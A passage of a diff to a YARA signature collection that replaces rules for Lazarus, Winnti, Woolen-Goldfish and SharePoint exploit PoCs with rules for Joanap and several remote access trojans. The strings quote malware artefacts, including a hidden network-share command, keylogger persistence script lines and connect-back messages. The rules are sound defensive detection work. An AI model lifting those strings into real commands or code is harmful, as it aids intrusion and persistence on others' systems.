+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rehashed_rat.yar#L69-L85"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "46f21f11959f863c85a1cfac74a28ba86d5b9789fea5a428168d157c13cce022"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9cebae97a067cd7c2be50d7fd8afe5e9cf935c11914a1ab5ff59e91c1e7e5fc4"
 
 	strings:
-		$s1 = "%c%s%c -p %d -e %d -pv -c \"~~[%x] s; .%c%c%s %s /u %s_%d.dmp; q\"" fullword wide
-		$s0 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" fullword wide
-		$s2 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii
-		$s3 = "disp.dll" fullword ascii
-		$s4 = "msvcrtd.dll" fullword ascii
-		$s5 = "%d.%d.%d.%d%c" fullword ascii
-		$s6 = "%ls_%08x" fullword wide
-		$s8 = "d%ls%ls" fullword wide
-		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide
+		$x1 = "\\BisonNewHNStubDll\\Release\\Goopdate.pdb" ascii
+		$s2 = "psisrndrx.ebd" fullword wide
+		$s3 = "pbad exception" fullword ascii
 
 	condition:
-		$s1 or 3 of ($s*)
+		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_MAL_Gopuram_Apr23 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_TA18_149A_Joanap_Sample1 : FILE
 {
 	meta:
-		description = "Detects Lazarus Gopuram malware"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e0bb43b0-542b-5c8e-bcba-0326f80efaa0"
-		date = "2023-04-04"
+		description = "Detects malware from TA18-149A report by US-CERT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a3a4f9a6-367d-5d99-bffb-f4ff03fa4a09"
+		date = "2018-05-30"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_gopuram.yar#L1-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "beb775af5196f30e0ee021790a4978ca7a7ac2a7cf970a5a620ffeb89cc60b2c"
-		hash = "97b95b4a5461f950e712b82783930cb2a152ec0288c00a977983ca7788342df7"
-		logic_hash = "58d978bd09a656f2a10a4d5d2585e51efe5cfb6b6648a4b3c2ce8c4f5d2256d4"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta18_149A.yar#L13-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "746c74713ac52f62d5a5c41d2c9321e00481a45aa2c23f1695fab0f5b6d5dfb4"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781"
 
 	strings:
-		$path = "%s.TxR.0.regtrans-ms"
+		$x1 = "cmd.exe /q /c net share adnim$" ascii
+		$x2 = "\\\\%s\\adnim$\\system32\\%s" fullword ascii
+		$s1 = "SMB_Dll.dll" fullword ascii
+		$s2 = "%s User or Password is not correct!" fullword ascii
+		$s3 = "perfw06.dat" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and $path and filesize <10MB
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="f0087d7b90876a2769f2229c6789fcf3" or 1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_APT_MAL_Winntilinux_Dropper_Azazelfork_May19 : AZAZEL_FORK FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_TA18_149A_Joanap_Sample2 : FILE
 {
 	meta:
-		description = "Detection of Linux variant of Winnti"
-		author = "Silas Cutler (havex [@] chronicle.security), Chronicle Security"
-		id = "d641de9a-e563-5067-b7e4-0aa83a087ed4"
-		date = "2019-05-15"
+		description = "Detects malware from TA18-149A report by US-CERT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9f4e6e6c-ee2b-5fa3-bf85-5a1652b38c52"
+		date = "2018-05-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_linux.yar#L1-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4741c2884d1ca3a40dadd3f3f61cb95a59b11f99a0f980dbadc663b85eb77a2a"
-		logic_hash = "0af32675dccfd0ad0c7919683fddced6ad49c65800ffa523773b7342b431379f"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta18_149A.yar#L36-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "046135e4a1161841835cd9d10e13224b440e914ce3f409bad84a1df2638a7d5f"
 		score = 75
 		quality = 85
-		tags = "AZAZEL_FORK, FILE"
-		version = "1.0"
-		TLP = "White"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885"
 
 	strings:
-		$config_decr = { 48 89 45 F0 C7 45 EC 08 01 00 00 C7 45 FC 28 00 00 00 EB 31 8B 45 FC 48 63 D0 48 8B 45 F0 48 01 C2 8B 45 FC 48 63 C8 48 8B 45 F0 48 01 C8 0F B6 00 89 C1 8B 45 F8 89 C6 8B 45 FC 01 F0 31 C8 88 02 83 45 FC 01 }
-		$export1 = "our_sockets"
-		$export2 = "get_our_pids"
+		$s1 = "%SystemRoot%\\system32\\svchost.exe -k Wmmvsvc" fullword ascii
+		$s2 = "%SystemRoot%\\system32\\svchost.exe -k SCardPrv" fullword ascii
+		$s3 = "%SystemRoot%\\system32\\Wmmvsvc.dll" fullword ascii
+		$s4 = "%SystemRoot%\\system32\\scardprv.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and all of them
+		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="e8cd12071a8e823ebc434c8ee3e23203" or 2 of them )
 }
-rule SIGNATURE_BASE_APT_MAL_Winntilinux_Main_Azazelfork_May19 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_TA18_149A_Joanap_Sample3 : FILE
 {
 	meta:
-		description = "Detection of Linux variant of Winnti"
-		author = "Silas Cutler (havex [@] chronicle.security), Chronicle Security"
-		id = "a1693e2d-4d89-5cc7-ab14-c8feb000638a"
-		date = "2019-05-15"
+		description = "Detects malware from TA18-149A report by US-CERT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1c2551bc-01dd-5b30-a4cc-703a868cde73"
+		date = "2018-05-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_linux.yar#L18-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ae9d6848f33644795a0cc3928a76ea194b99da3c10f802db22034d9f695a0c23"
-		logic_hash = "3ff38795179f6c32f2ff014b06ac126ae3a0de3fe7515f0e49f12f9c8ff14b43"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta18_149A.yar#L57-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a3da6c70d2ab94820324a55f1bcdcf5507a8ddf26efc80904daf0d9b27ac9312"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
-		TLP = "White"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a1c483b0ee740291b91b11e18dd05f0a460127acfc19d47b446d11cd0e26d717"
 
 	strings:
-		$uuid_lookup = "/usr/sbin/dmidecode  | grep -i 'UUID' |cut -d' ' -f2 2>/dev/null"
-		$dbg_msg = "[advNetSrv] can not create a PF_INET socket"
-		$rtti_name1 = "CNetBase"
-		$rtti_name2 = "CMyEngineNetEvent"
-		$rtti_name3 = "CBufferCache"
-		$rtti_name4 = "CSocks5Base"
-		$rtti_name5 = "CDataEngine"
-		$rtti_name6 = "CSocks5Mgr"
-		$rtti_name7 = "CRemoteMsg"
+		$s1 = "mssvcdll.dll" fullword ascii
+		$s2 = "https://www.google.com/index.html" fullword ascii
+		$s3 = "LOGINDLG" fullword wide
+		$s4 = "rundll" fullword ascii
+		$s5 = "%%s\\%%s%%0%dd.%%s" fullword ascii
+		$s6 = "%%s\\%%s%%0%dd" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and (($dbg_msg and 1 of ($rtti*)) or (5 of ($rtti*)) or ($uuid_lookup and 2 of ($rtti*)))
+		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="f6f7b2e00921129d18061822197111cd" or 3 of them )
 }
-rule SIGNATURE_BASE_Woolengoldfish_Sample_1
+rule SIGNATURE_BASE_RAT_AAR
 {
 	meta:
-		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
-		author = "Florian Roth (Nextron Systems)"
-		id = "923de51a-8422-5318-95f5-79613d2d642e"
-		date = "2015-03-25"
+		description = "Detects AAR RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "42c1af80-cff3-505f-a3cb-35b7e34575e1"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/NpJpVZ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_woolengoldfish.yar#L13-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7ad0eb113bc575363a058f4bf21dbab8c8f7073a"
-		logic_hash = "9490715a2fc7d3c742771a8211bcfb4c0a0bafba4d5de8eee5825fdabaded6af"
-		score = 60
+		reference = "http://malwareconfig.com/stats/AAR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L1-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a206b3f5cf6cc870135bc267b5baab8333422dc917efce6c66ee907690592d09"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "Cannot execute (%d)" fullword ascii
-		$s16 = "SvcName" fullword ascii
+		$a = "Hashtable"
+		$b = "get_IsDisposed"
+		$c = "TripleDES"
+		$d = "testmemory.FRMMain.resources"
+		$e = "$this.Icon" wide
+		$f = "{11111-22222-20001-00001}" wide
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Woolengoldfish_Generic_1
+rule SIGNATURE_BASE_RAT_Adzok
 {
 	meta:
-		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
-		author = "Florian Roth (Nextron Systems)"
-		id = "351f5ee5-c0ec-51b6-9953-2b64e3e74b09"
-		date = "2015-03-25"
+		description = "Detects Adzok RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "93807f85-ae4e-5fd2-9010-ed2cf6f57f38"
+		date = "2015-01-05"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/NpJpVZ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_woolengoldfish.yar#L30-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "79879be4f49c8830573eb4a9f958ef9060413ea8b5dd3f8f3d5816e146d3a0b7"
-		score = 90
+		reference = "http://malwareconfig.com/stats/Adzok"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L24-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ee3291a4396ba6cb3c5e22229de4f5e45714b29bfeac1c56bde6d038a9d25458"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "5d334e0cb4ff58859e91f9e7f1c451ffdc7544c3"
-		hash1 = "d5b2b30fe2d4759c199e3659d561a50f88a7fb2e"
-		hash2 = "a42f1ad2360833baedd2d5f59354c4fc3820c475"
+		Versions = "Free 1.0.0.3,"
+		maltype = "Remote Access Trojan"
+		filetype = "jar"
 
 	strings:
-		$x0 = "Users\\Wool3n.H4t\\"
-		$x1 = "C-CPP\\CWoolger"
-		$x2 = "NTSuser.exe" fullword wide
-		$s1 = "107.6.181.116" fullword wide
-		$s2 = "oShellLink.Hotkey = \"CTRL+SHIFT+F\"" fullword
-		$s3 = "set WshShell = WScript.CreateObject(\"WScript.Shell\")" fullword
-		$s4 = "oShellLink.IconLocation = \"notepad.exe, 0\"" fullword
-		$s5 = "set oShellLink = WshShell.CreateShortcut(strSTUP & \"\\WinDefender.lnk\")" fullword
-		$s6 = "wlg.dat" fullword
-		$s7 = "woolger" fullword wide
-		$s8 = "[Enter]" fullword
-		$s9 = "[Control]" fullword
+		$a1 = "config.xmlPK"
+		$a2 = "key.classPK"
+		$a3 = "svd$1.classPK"
+		$a4 = "svd$2.classPK"
+		$a5 = "Mensaje.classPK"
+		$a6 = "inic$ShutdownHook.class"
+		$a7 = "Uninstall.jarPK"
+		$a8 = "resources/icono.pngPK"
 
 	condition:
-		(1 of ($x*) and 2 of ($s*)) or (6 of ($s*))
+		7 of ($a*)
 }
-rule SIGNATURE_BASE_Woolengoldfish_Generic_2
+rule SIGNATURE_BASE_RAT_Ap0Calypse
 {
 	meta:
-		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
-		author = "Florian Roth (Nextron Systems)"
-		id = "930b928f-ff32-56b2-9e3c-dd80036ff7ef"
-		date = "2015-03-25"
+		description = "Detects Ap0calypse RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "a2993654-efa0-519b-b6f6-4d722d93adde"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/NpJpVZ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_woolengoldfish.yar#L62-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "25d2ea25543b0a6330e443333f1ac7a59874631c8ee7faeb4ea6d94c62c255fc"
-		score = 90
+		reference = "http://malwareconfig.com/stats/Ap0calypse"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L50-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1ce90a5b1b3f643d4e530d6e00741f5d5918d3199cfbc4126cf8421a9e42023e"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "47b1c9caabe3ae681934a33cd6f3a1b311fd7f9f"
-		hash2 = "62172eee1a4591bde2658175dd5b8652d5aead2a"
-		hash3 = "7fef48e1303e40110798dfec929ad88f1ad4fbd8"
-		hash4 = "c1edf6e3a271cf06030cc46cbd90074488c05564"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s0 = "modules\\exploits\\littletools\\agent_wrapper\\release" ascii
+		$a = "Ap0calypse"
+		$b = "Sifre"
+		$c = "MsgGoster"
+		$d = "Baslik"
+		$e = "Dosyalars"
+		$f = "Injecsiyon"
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Woolengoldfish_Generic_3
+rule SIGNATURE_BASE_RAT_Arcom
 {
 	meta:
-		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5c227d24-624c-5fb5-a2ea-a971fda8bfba"
-		date = "2015-03-25"
+		description = "Detects Arcom RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "a0598340-c4a5-53f0-a810-63e37ec669a5"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/NpJpVZ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_woolengoldfish.yar#L81-L111"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ac51c25ad6ef6668238fef1de50517d48e6509f57cd6dd723595777ae16d8a6c"
-		score = 90
-		quality = 83
+		reference = "http://malwareconfig.com/stats/Arcom"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L72-L93"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dbccd9885ba0ec5741e3c74908d2e76b15836bc75373c100f344abf9bdf3a0b4"
+		score = 75
+		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "86222ef166474e53f1eb6d7e6701713834e6fee7"
-		hash2 = "e8dbcde49c7f760165ebb0cb3452e4f1c24981f5"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$x1 = "... get header FATAL ERROR !!!  %d bytes read > header_size" fullword ascii
-		$x2 = "index.php?c=%S&r=%x&u=1&t=%S" fullword wide
-		$x3 = "connect_back_tcp_channel#do_connect:: Error resolving connect back hostname" fullword ascii
-		$s0 = "kernel32.dll GetProcAddressLoadLibraryAws2_32.dll" fullword ascii
-		$s1 = "Content-Type: multipart/form-data; boundary=%S" fullword wide
-		$s2 = "Attempting to unlock uninitialized lock!" fullword ascii
-		$s4 = "unable to load kernel32.dll" fullword ascii
-		$s5 = "index.php?c=%S&r=%x" fullword wide
-		$s6 = "%s len:%d " fullword ascii
-		$s7 = "Encountered error sending syscall response to client" fullword ascii
-		$s9 = "/info.dat" fullword ascii
-		$s10 = "Error entering thread lock" fullword ascii
-		$s11 = "Error exiting thread lock" fullword ascii
-		$s12 = "connect_back_tcp_channel_init:: socket() failed" fullword ascii
+		$a1 = "CVu3388fnek3W(3ij3fkp0930di"
+		$a2 = "ZINGAWI2"
+		$a3 = "clWebLightGoldenrodYellow"
+		$a4 = "Ancestor for '%s' not found" wide
+		$a5 = "Control-C hit" wide
+		$a6 = {A3 24 25 21}
 
 	condition:
-		(1 of ($x*)) or (8 of ($s*))
+		all of them
 }
-rule SIGNATURE_BASE_LOG_EXPL_Sharepoint_CVE_2023_29357_Sep23_1 : CVE_2023_29357
+rule SIGNATURE_BASE_RAT_Bandook
 {
 	meta:
-		description = "Detects log entries that could indicate a successful exploitation of CVE-2023-29357 on Microsoft SharePoint servers with the published Python POC"
-		author = "Florian Roth (with help from @LuemmelSec)"
-		id = "9fa77216-c0d6-55e5-bbcc-adb9438ca456"
-		date = "2023-09-28"
-		modified = "2023-10-01"
-		reference = "https://twitter.com/Gi7w0rm/status/1706764212704591953?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_sharepoint_cve_2023_29357.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "03e3a4715c8683dc8d03ad6720c1c9b40482bd0bfa3020aa1152565ec9ec929f"
-		score = 70
+		description = "Detects Bandook RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "79fb99d8-bd56-5986-9917-e119b51b8303"
+		date = "2014-01-04"
+		modified = "2023-12-05"
+		reference = "http://malwareconfig.com/stats/bandook"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L95-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fe658e0990f0d456b1a8f5acea62a3b80bdd4a9bc0eedfe2e1092ea60b4fca2e"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-29357"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$xr1 = /GET [a-z\.\/_]{0,40}\/web\/(siteusers|currentuser) - (80|443) .{10,200} (python-requests\/[0-9\.]{3,8}|-) [^ ]{1,160} [^4]0[0-9] /
+		$a = "aaaaaa1|"
+		$b = "aaaaaa2|"
+		$c = "aaaaaa3|"
+		$d = "aaaaaa4|"
+		$e = "aaaaaa5|"
+		$f = "%s%d.exe"
+		$g = "astalavista"
+		$h = "givemecache"
+		$i = "%s\\system32\\drivers\\blogs\\*"
+		$j = "bndk13me"
 
 	condition:
-		$xr1
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_EXPL_POC_PY_Sharepoint_CVE_2023_29357_Sep23_1 : CVE_2023_29357 FILE
+rule SIGNATURE_BASE_RAT_Blacknix
 {
 	meta:
-		description = "Detects a Python POC to exploit CVE-2023-29357 on Microsoft SharePoint servers"
-		author = "Florian Roth"
-		id = "2be524ab-f360-56b8-9ce3-e15036855c67"
-		date = "2023-10-01"
-		modified = "2023-10-01"
-		reference = "https://github.com/Chocapikk/CVE-2023-29357"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_sharepoint_cve_2023_29357.yar#L22-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fec7762ab23ba5ee9e793000d080b1d64b93157c6ead9e6939ccfb3c168dd360"
-		score = 80
+		description = "Detects BlackNix RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "d7814184-3ae4-53f1-a602-c3fbc02573c3"
+		date = "2014-01-04"
+		modified = "2023-12-05"
+		reference = "http://malwareconfig.com/stats/BlackNix"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L122-L142"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "de8787fd35e6313c061b8759361698b1acd54b215d226839a8702b1a5d189ccb"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-29357, FILE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$x1 = "encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')"
+		$a1 = "SETTINGS" wide
+		$a2 = "Mark Adler"
+		$a3 = "Random-Number-Here"
+		$a4 = "RemoteShell"
+		$a5 = "SystemInfo"
 
 	condition:
-		filesize <30KB and $x1
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_EXPL_POC_NET_Sharepoint_CVE_2023_29357_Sep23_1 : CVE_2023_29357 FILE
+rule SIGNATURE_BASE_RAT_Blackshades : BLACKSHADES
 {
 	meta:
-		description = "Detects a C# POC to exploit CVE-2023-29357 on Microsoft SharePoint servers"
-		author = "Florian Roth"
-		id = "aa6aeb00-b162-538c-a670-cbff525dd8f1"
-		date = "2023-10-01"
+		description = "Detects BlackShades RAT"
+		author = "Brian Wallace (@botnet_hunter)"
+		id = "039f9efd-034d-5088-9a2f-7a63ad170d3d"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/LuemmelSec/CVE-2023-29357"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_sharepoint_cve_2023_29357.yar#L37-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cf621cc9c5074f531df61623b09db68478e94ae6a9a7acc26aa8d9dde79bd30c"
-		score = 80
+		reference = "http://blog.cylance.com/a-study-in-bots-blackshades-net"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L144-L161"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "23f8d52cf92b594f9302d549cf54f37dc0a01b5686da74b72120a8072435abfe"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-29357, FILE"
+		tags = "BLACKSHADES"
+		family = "blackshades"
 
 	strings:
-		$x1 = "{f22d2de0-606b-4d16-98d5-421f3f1ba8bc}" ascii wide
-		$x2 = "{F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}" ascii wide
-		$s1 = "Bearer"
-		$s2 = "hashedprooftoken"
-		$s3 = "/_api/web/"
-		$s4 = "X-PROOF_TOKEN"
-		$s5 = "00000003-0000-0ff1-ce00-000000000000"
-		$s6 = "IsSiteAdmin"
+		$string1 = "bss_server"
+		$string2 = "txtChat"
+		$string3 = "UDPFlood"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and (1 of ($x*) or all of ($s*))
+		all of them
 }
-rule SIGNATURE_BASE_Asp_File : FILE
+rule SIGNATURE_BASE_RAT_Bluebanana
 {
 	meta:
-		description = "Laudanum Injector Tools - file file.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e2a80d1f-f2bb-573b-b68c-71e4dfa6e1fa"
-		date = "2015-06-22"
+		description = "Detects BlueBanana RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "f00c7e92-f34c-5666-a1d9-02ac2cf7608c"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L8-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ff5b1a9598735440bdbaa768b524c639e22f53c5"
-		logic_hash = "9ec19a994571f4d1b40b6d6af3fb6eb4c5004a6439b99863b50dae0262677263"
+		reference = "http://malwareconfig.com/stats/BlueBanana"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L163-L184"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d84bb63d56d876c8b2e7c8c8afeaba839fee41d2d38f16ac9a13e802008179e"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "Java"
 
 	strings:
-		$s1 = "' *** Written by Tim Medin <tim@counterhack.com>" fullword ascii
-		$s2 = "Response.BinaryWrite(stream.Read)" fullword ascii
-		$s3 = "Response.Write(Response.Status & Request.ServerVariables(\"REMOTE_ADDR\"))" fullword ascii
-		$s4 = "%><a href=\"<%=Request.ServerVariables(\"URL\")%>\">web root</a><br/><%" fullword ascii
-		$s5 = "set folder = fso.GetFolder(path)" fullword ascii
-		$s6 = "Set file = fso.GetFile(filepath)" fullword ascii
+		$meta = "META-INF"
+		$conf = "config.txt"
+		$a = "a/a/a/a/f.class"
+		$b = "a/a/a/a/l.class"
+		$c = "a/a/a/b/q.class"
+		$d = "a/a/a/b/v.class"
 
 	condition:
